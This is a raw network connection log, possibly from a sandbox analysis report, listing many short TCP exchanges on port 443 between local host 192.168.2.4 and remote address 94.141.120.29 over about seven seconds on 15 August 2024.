Aug 15, 2024 08:10:56.622319937 CEST	443	50742	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.629450083 CEST	50743	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.629465103 CEST	443	50743	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.629538059 CEST	50743	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.638783932 CEST	50743	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.638794899 CEST	443	50743	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.638922930 CEST	443	50743	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.646733999 CEST	50744	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.646752119 CEST	443	50744	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.646836996 CEST	50744	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.660974026 CEST	50744	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.660984039 CEST	443	50744	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.661253929 CEST	443	50744	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.666981936 CEST	50745	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.666997910 CEST	443	50745	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.667052031 CEST	50745	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.680663109 CEST	50745	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.680674076 CEST	443	50745	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.680794954 CEST	443	50745	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.686239958 CEST	50746	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.686254978 CEST	443	50746	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.686328888 CEST	50746	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.697113991 CEST	50746	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.697122097 CEST	443	50746	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.697352886 CEST	443	50746	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.703741074 CEST	50747	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.703763008 CEST	443	50747	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.703814030 CEST	50747	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.719396114 CEST	50747	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.719407082 CEST	443	50747	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.719603062 CEST	443	50747	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.738321066 CEST	50748	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.738373041 CEST	443	50748	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.738449097 CEST	50748	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.760121107 CEST	50748	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.760139942 CEST	443	50748	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.760377884 CEST	443	50748	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.769531012 CEST	50749	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.769560099 CEST	443	50749	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.769630909 CEST	50749	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.779165030 CEST	50749	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.779175997 CEST	443	50749	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.779436111 CEST	443	50749	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.785744905 CEST	50750	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.785754919 CEST	443	50750	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.785815001 CEST	50750	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.795089006 CEST	50750	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.795105934 CEST	443	50750	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.795412064 CEST	443	50750	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.802253008 CEST	50751	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.802282095 CEST	443	50751	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.802357912 CEST	50751	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.811335087 CEST	50751	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.811348915 CEST	443	50751	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.811655998 CEST	443	50751	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.818038940 CEST	50752	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.818129063 CEST	443	50752	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.818231106 CEST	50752	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.827474117 CEST	50752	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.827553988 CEST	443	50752	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.827790976 CEST	443	50752	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.834033966 CEST	50753	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.834075928 CEST	443	50753	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.834156990 CEST	50753	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.843017101 CEST	50753	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.843050957 CEST	443	50753	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.843296051 CEST	443	50753	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.869452000 CEST	50754	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.869566917 CEST	443	50754	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.869652987 CEST	50754	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.883161068 CEST	50754	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.883234978 CEST	443	50754	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.883296967 CEST	443	50754	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.889393091 CEST	50755	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.889478922 CEST	443	50755	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.889632940 CEST	50755	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.904475927 CEST	50755	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.904581070 CEST	443	50755	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.904637098 CEST	443	50755	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.910845041 CEST	50756	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.910926104 CEST	443	50756	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.911218882 CEST	50756	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.924535036 CEST	50756	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.924597979 CEST	443	50756	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.924722910 CEST	443	50756	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.930958033 CEST	50757	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.931041956 CEST	443	50757	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.931124926 CEST	50757	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.945719957 CEST	50757	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.945800066 CEST	443	50757	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.946022034 CEST	443	50757	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.951200962 CEST	50758	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.951284885 CEST	443	50758	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.951373100 CEST	50758	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.962343931 CEST	50758	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.962420940 CEST	443	50758	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.962635994 CEST	443	50758	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.971299887 CEST	50759	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.971379995 CEST	443	50759	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.971451998 CEST	50759	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.989598036 CEST	50759	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.989674091 CEST	443	50759	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.989903927 CEST	443	50759	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.997946024 CEST	50760	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.998025894 CEST	443	50760	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.998172045 CEST	50760	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.010015011 CEST	50760	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.010090113 CEST	443	50760	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.010210037 CEST	443	50760	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.016092062 CEST	50761	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.016180038 CEST	443	50761	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.016283035 CEST	50761	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.025718927 CEST	50761	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.025796890 CEST	443	50761	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.026043892 CEST	443	50761	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.031677961 CEST	50762	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.031760931 CEST	443	50762	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.031864882 CEST	50762	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.040627003 CEST	50762	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.040694952 CEST	443	50762	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.040931940 CEST	443	50762	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.050142050 CEST	50763	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.050220013 CEST	443	50763	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.050328016 CEST	50763	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.059444904 CEST	50763	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.059520960 CEST	443	50763	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.059772968 CEST	443	50763	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.067779064 CEST	50764	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.067862988 CEST	443	50764	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.067975044 CEST	50764	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.077326059 CEST	50764	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.077440977 CEST	443	50764	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.077682972 CEST	443	50764	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.117649078 CEST	50765	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.117733002 CEST	443	50765	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.117836952 CEST	50765	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.132098913 CEST	50765	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.132177114 CEST	443	50765	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.132414103 CEST	443	50765	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.145096064 CEST	50766	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.145175934 CEST	443	50766	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.145276070 CEST	50766	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.156306028 CEST	50766	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.156384945 CEST	443	50766	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.156621933 CEST	443	50766	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.164562941 CEST	50767	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.164643049 CEST	443	50767	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.164721012 CEST	50767	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.173976898 CEST	50767	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.174046993 CEST	443	50767	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.174268007 CEST	443	50767	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.180604935 CEST	50768	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.180711031 CEST	443	50768	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.180797100 CEST	50768	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.190041065 CEST	50768	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.190120935 CEST	443	50768	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.190377951 CEST	443	50768	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.196858883 CEST	50769	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.196940899 CEST	443	50769	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.197045088 CEST	50769	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.208466053 CEST	50769	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.208566904 CEST	443	50769	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.208687067 CEST	443	50769	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.214531898 CEST	50770	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.214612007 CEST	443	50770	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.215065002 CEST	50770	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.231283903 CEST	50770	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.231358051 CEST	443	50770	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.231616020 CEST	443	50770	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.245182991 CEST	50771	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.245266914 CEST	443	50771	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.245589972 CEST	50771	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.265633106 CEST	50771	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.265712023 CEST	443	50771	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.265944958 CEST	443	50771	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.272172928 CEST	50772	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.272257090 CEST	443	50772	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.272475004 CEST	50772	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.281821966 CEST	50772	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.281896114 CEST	443	50772	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.282015085 CEST	443	50772	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.288188934 CEST	50773	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.288271904 CEST	443	50773	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.288420916 CEST	50773	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.298950911 CEST	50773	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.299029112 CEST	443	50773	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.299283981 CEST	443	50773	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.304178953 CEST	50774	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.304260015 CEST	443	50774	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.304425955 CEST	50774	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.313745022 CEST	50774	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.313816071 CEST	443	50774	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.314023972 CEST	443	50774	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.318490028 CEST	50775	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.318571091 CEST	443	50775	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.318866968 CEST	50775	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.328515053 CEST	50775	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.328581095 CEST	443	50775	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.328695059 CEST	443	50775	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.334893942 CEST	50776	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.334975004 CEST	443	50776	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.335128069 CEST	50776	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.344135046 CEST	50776	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.344211102 CEST	443	50776	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.344432116 CEST	443	50776	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.349864960 CEST	50777	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.349912882 CEST	443	50777	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.351979017 CEST	50777	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.361696005 CEST	50777	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.361716032 CEST	443	50777	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.361773968 CEST	443	50777	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.366317034 CEST	50778	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.366332054 CEST	443	50778	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.366823912 CEST	50778	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.376367092 CEST	50778	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.376380920 CEST	443	50778	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.376539946 CEST	443	50778	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.381926060 CEST	50779	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.382008076 CEST	443	50779	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.384155989 CEST	50779	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.398279905 CEST	50779	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.398355961 CEST	443	50779	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.398600101 CEST	443	50779	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.407166958 CEST	50780	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.407181025 CEST	443	50780	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.407375097 CEST	50780	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.461143970 CEST	50780	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.461251974 CEST	443	50780	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.461484909 CEST	443	50780	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.469181061 CEST	50781	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.469301939 CEST	443	50781	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.469609976 CEST	50781	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.489698887 CEST	50781	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.489775896 CEST	443	50781	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.489998102 CEST	443	50781	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.496259928 CEST	50782	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.496345043 CEST	443	50782	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.496479988 CEST	50782	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.509757996 CEST	50782	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.509826899 CEST	443	50782	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.510046959 CEST	443	50782	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.515971899 CEST	50783	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.516057014 CEST	443	50783	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.517872095 CEST	50783	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.536856890 CEST	50783	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.536936045 CEST	443	50783	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.537170887 CEST	443	50783	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.541966915 CEST	50784	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.542001009 CEST	443	50784	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.542207003 CEST	50784	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.562567949 CEST	50784	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.562589884 CEST	443	50784	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.562717915 CEST	443	50784	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.568803072 CEST	50785	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.568850040 CEST	443	50785	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.570225000 CEST	50785	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.592408895 CEST	50785	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.592437029 CEST	443	50785	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.592650890 CEST	443	50785	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.602547884 CEST	50786	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.602572918 CEST	443	50786	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.602787018 CEST	50786	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.715152979 CEST	50786	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.715173960 CEST	443	50786	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.715303898 CEST	443	50786	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.768208981 CEST	50787	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.768250942 CEST	443	50787	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.768511057 CEST	50787	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.919194937 CEST	50787	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.919212103 CEST	443	50787	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.919511080 CEST	443	50787	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.950462103 CEST	50788	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.950498104 CEST	443	50788	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.950639009 CEST	50788	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.969381094 CEST	50788	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:57.969394922 CEST	443	50788	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:57.969650984 CEST	443	50788	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.104401112 CEST	50789	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.104450941 CEST	443	50789	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.104530096 CEST	50789	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.139066935 CEST	50789	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.139079094 CEST	443	50789	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.139316082 CEST	443	50789	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.145812988 CEST	50790	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.145831108 CEST	443	50790	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.145931959 CEST	50790	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.155663967 CEST	50790	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.155673981 CEST	443	50790	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.155857086 CEST	443	50790	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.163906097 CEST	50791	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.163943052 CEST	443	50791	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.164016008 CEST	50791	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.173531055 CEST	50791	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.173543930 CEST	443	50791	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.173824072 CEST	443	50791	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.179647923 CEST	50792	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.179657936 CEST	443	50792	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.179734945 CEST	50792	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.188832998 CEST	50792	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.188843966 CEST	443	50792	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.189110994 CEST	443	50792	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.198163033 CEST	50793	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.198180914 CEST	443	50793	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.198230028 CEST	50793	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.211931944 CEST	50793	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.211949110 CEST	443	50793	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.212224007 CEST	443	50793	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.219958067 CEST	50794	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.219969988 CEST	443	50794	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.220052004 CEST	50794	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.233923912 CEST	50794	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.233932972 CEST	443	50794	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.234131098 CEST	443	50794	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.240361929 CEST	50795	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.240379095 CEST	443	50795	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.240439892 CEST	50795	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.248831987 CEST	50795	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.248845100 CEST	443	50795	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.248892069 CEST	443	50795	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.257817984 CEST	50796	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.257836103 CEST	443	50796	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.257970095 CEST	50796	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.269206047 CEST	50796	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.269215107 CEST	443	50796	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.269248009 CEST	443	50796	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.275203943 CEST	50797	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.275218010 CEST	443	50797	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.275266886 CEST	50797	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.292361021 CEST	50797	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.292371988 CEST	443	50797	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.292407036 CEST	443	50797	94.141.120.29	192.168.2.4
Aug 15, 2024 08:11:03.298433065 CEST	50798	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:11:03.298444986 CEST	443	50798	94.141.120.29	192.168.2.4
